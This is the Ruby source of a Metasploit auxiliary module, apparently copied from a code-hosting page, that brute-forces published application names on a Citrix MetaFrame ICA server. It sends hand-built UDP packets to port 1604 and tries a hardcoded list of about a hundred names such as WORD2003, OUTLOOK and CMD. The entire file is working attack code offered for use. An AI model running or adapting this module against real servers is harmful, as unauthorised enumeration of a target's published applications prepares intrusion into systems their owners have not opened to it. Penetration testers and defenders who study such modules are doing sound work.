180 lines
4.1 KiB
Ruby
180 lines
4.1 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::Udp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Citrix MetaFrame ICA Published Applications Bruteforcer',
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'Description' => %q{
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This module attempts to brute force program names within the Citrix
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Metaframe ICA server.
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},
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'Author' => [ 'patrick' ],
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'References' =>
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[
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[ 'OSVDB', '50617' ],
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[ 'BID', '5817' ]
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]
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))
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register_options(
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[
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Opt::RPORT(1604),
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])
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end
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def autofilter
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false
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end
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def run
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connect_udp
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print_status("Attempting to contact Citrix ICA service...")
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# Client NetBIOS hostname. This works fine >:)
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client = Rex::Text.rand_text_alphanumeric(8)
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# Server hello packet
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client_connect =
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"\x1e\x00\x01\x30\x02\xfd\xa8\xe3\x00\x00\x00\x00\x00\x00\x00\x00" +
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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# Server hello response
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server_response =
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"\x30\x00\x02\x31\x02\xfd\xa8\xe3\x02\x00\x06\x44"
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applications = [
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'TEST',
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'NOTEPAD',
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'ACROBAT READER',
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'ACROBAR',
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'EXPLORER',
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'WORD',
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'WORD2K',
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'WORDXP',
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'WORD2K3',
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'WORD2K7',
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'WORD 2000',
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'WORD XP',
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'WORD 2003',
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'WORD 2007',
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'WORD2000',
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'WORD2003',
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'WORD2007',
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'EXCEL',
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'EXCEL2K',
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'EXCELXP',
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'EXCEL2K3',
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'EXCEL2K7',
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'EXCEL 2000',
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'EXCEL XP',
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'EXCEL 2003',
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'EXCEL 2007',
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'EXCEL2000',
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'EXCEL2003',
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'EXCEL2007',
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'ACCESS',
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'ACCESS2K',
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'ACCESSXP',
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'ACCESS2K3',
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'ACCESS2K7',
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'ACCESS 2000',
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'ACCESS XP',
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'ACCESS 2003',
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'ACCESS 2007',
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'ACCESS2000',
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'ACCESS2003',
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'ACCESS2007',
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'POWERPOINT',
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'POWERPOINT2K',
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'POWERPOINTXP',
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'POWERPOINT2K3',
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'POWERPOINT2K7',
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'POWERPOINT 2000',
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'POWERPOINT XP',
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'POWERPOINT 2003',
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'POWERPOINT 2007',
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'POWERPOINT2000',
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'POWERPOINT2003',
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'POWERPOINT2007',
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'OUTLOOK',
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'OUTLOOKXP',
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'OUTLOOK2K',
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'OUTLOOK2K3',
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'OUTLOOK2K7',
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'OUTLOOK 2000',
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'OUTLOOK XP',
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'OUTLOOK 2003',
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'OUTLOOK 2007',
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'OUTLOOK2000',
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'OUTLOOK2003',
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'OUTLOOK2007',
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'LOTUS',
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'LOTUS NOTES',
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'INTERNETEXPLORER',
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'IE',
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'IEXPLORER',
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'FIREFOX',
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'FIREFOX 3',
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'NETSCAPE',
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'NETSCAPE7',
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'NETSCAPE6',
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'MAIL',
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'EMAIL',
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'E-MAIL',
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'INTERNET',
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'CMD',
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'COMMAND',
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]
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# Citrix is publishing this application
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application_valid =
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"\x3e\x00\x02\x35\x02\xfd\xa8\xe3\x02\x00\x06\x44"
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# Application not found / published
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application_invalid =
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"\x20\x00\x01\x3a\x02\xfd\xa8\xe3\x02\x00\x06\x44"
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udp_sock.put(client_connect)
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res = udp_sock.get(3)
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if (res[0,server_response.length] == server_response)
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print_status("Citrix ICA Server Detected. Attempting to brute force Published Applications.")
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applications.each do |application|
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# Create the packet
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packet = [52 + application.length].pack('C')
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packet << "\x00\x02\x34\x02\xfd\xa8\xe3\x00\x00\x00\x00\x00\x00\x00\x00"
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packet << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x26\x00\x02\x00"
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packet << [39 + application.length].pack('C')
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packet << "\x00\x00\x00\x00\x00"
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packet << application
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packet << "\x00\x01\x00\x04\x00"
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packet << client
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packet << "\x00"
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udp_sock.put(packet)
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res = udp_sock.get(3)
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if (res[0,application_valid.length] == application_valid)
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print_status("Found: #{application}")
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end
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if (res[0,application_invalid.length] == application_invalid)
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print_error("NOT Found: #{application}")
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end
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end
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else
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print_error("Server did not respond.")
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end
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disconnect_udp
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end
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end
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